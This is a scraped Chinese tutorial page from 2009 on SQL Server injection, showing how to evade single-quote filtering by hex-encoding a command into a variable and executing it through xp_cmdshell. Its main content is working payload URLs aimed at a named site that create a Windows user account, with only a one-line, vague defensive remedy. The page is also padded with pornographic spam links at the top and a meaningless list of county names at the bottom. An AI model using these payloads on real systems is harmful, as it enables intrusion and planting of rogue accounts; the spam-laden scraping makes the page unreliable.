最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

SQL注入中繞過 單引號 限制繼續(xù)注入

 更新時間:2009年06月27日 21:51:48   作者:  
我想不少人都看過一些關(guān)于SQL Injection針對SQL Server攻擊的文章,都是因為變量過濾不足甚至沒有過濾而構(gòu)造畸形SQL語句注入的
包括我寫的那篇《SQL Injection的實現(xiàn)與應(yīng)用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當(dāng)輕松就注入成功了,如下:
復(fù)制代碼 代碼如下:

http://m.fzitv.net/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

這往往給大家造成誤解,認(rèn)為只要變量過濾了'就可以防止SQL Injection攻擊,這種意識為大量程序可以注入埋下禍根,其實僅僅過濾'是不夠的,在'被過濾的情況下我們照樣玩,看下面語句:
復(fù)制代碼 代碼如下:

http://m.fzitv.net/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

  是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的。其實這些都是SQL語句。
復(fù)制代碼 代碼如下:

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

這句是“net user angel pass /add”的16進(jìn)制格式。了解SQL的朋友就容易明白,先聲明一個變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:
復(fù)制代碼 代碼如下:

declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

解決辦法:
過濾變量,限制只允許輸入特定字符。比如對于數(shù)字類型的變量就限制只能輸入數(shù)字類型的數(shù)據(jù)。具體就不說了。這完全是程序作者自由發(fā)揮了。

相關(guān)文章

  • asp.net MVC下使用rest的方法

    asp.net MVC下使用rest的方法

    本篇文章主要介紹了asp.net MVC下使用rest的方法,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2017-09-09
  • asp.net中ViewState的用法詳解

    asp.net中ViewState的用法詳解

    本文給大家介紹asp.net中viewstate的用法,涉及到viewstate的原理、用法、與session的對比等方面的知識,對viewstate用法感興趣的朋友一起看看吧
    2015-10-10
  • .net cs后臺刷新aspx頁面的四種方式

    .net cs后臺刷新aspx頁面的四種方式

    這篇文章主要介紹了.net cs后臺刷新aspx頁面的四種方式,需要的朋友可以參考下
    2014-03-03
  • 基于.Net的單點登錄(SSO)實現(xiàn)解決方案

    基于.Net的單點登錄(SSO)實現(xiàn)解決方案

    SSO的解決方案很多,但搜索結(jié)果令人大失所望,大部分是相互轉(zhuǎn)載,并且描述的也是走馬觀花,本文對此進(jìn)行詳細(xì)介紹,需要了解的朋友可以參考下
    2012-11-11
  • ASP.NET MVC使用Ninject的方法教程

    ASP.NET MVC使用Ninject的方法教程

    這篇文章主要給大家介紹了關(guān)于ASP.NET MVC使用Ninject的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家啊的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2018-12-12
  • asp.net使用jquery模板引擎jtemplates呈現(xiàn)表格

    asp.net使用jquery模板引擎jtemplates呈現(xiàn)表格

    這篇文章主要介紹了asp.net使用jquery模板引擎jtemplates呈現(xiàn)表格的示例,大家參考使用吧
    2014-01-01
  • asp.net ubb使用代碼

    asp.net ubb使用代碼

    asp.net ubb使用代碼,以前腳本之家曾經(jīng)發(fā)過一篇稍有區(qū)別的代碼,大家一起參考下吧。
    2009-12-12
  • 詳解ASP.Net Core 中如何借助CSRedis實現(xiàn)一個安全高效的分布式鎖

    詳解ASP.Net Core 中如何借助CSRedis實現(xiàn)一個安全高效的分布式鎖

    這篇文章主要介紹了ASP.Net Core 中如何借助CSRedis實現(xiàn)一個安全高效的分布式鎖,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-04-04
  • CZGL.ProcessMetrics處理監(jiān)控數(shù)據(jù)的三種方式介紹

    CZGL.ProcessMetrics處理監(jiān)控數(shù)據(jù)的三種方式介紹

    這篇文章介紹了CZGL.ProcessMetrics處理監(jiān)控數(shù)據(jù)的三種方式,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2022-04-04
  • 詳解ASP.NET Core應(yīng)用中如何記錄和查看日志

    詳解ASP.NET Core應(yīng)用中如何記錄和查看日志

    本篇文章主要介紹了ASP.NET Core應(yīng)用中如何記錄和查看日志,具有一定的參考價值,感興趣的小伙伴們可以參考一下。
    2016-12-12

最新評論

枞阳县| 丹棱县| 扎鲁特旗| 三门县| 饶阳县| 开平市| 东乡族自治县| 新疆| 天峨县| 特克斯县| 英山县| 安陆市| 合山市| 东兰县| 米易县| 荣昌县| 札达县| 宁河县| 黄大仙区| 商南县| 邯郸市| 吉木萨尔县| 营口市| 红桥区| 普安县| 三台县| 万载县| 华安县| 介休市| 大邑县| 宜章县| 开鲁县| 荥经县| 金坛市| 施秉县| 宁安市| 什邡市| 长宁区| 丹江口市| 溧阳市| 西畴县|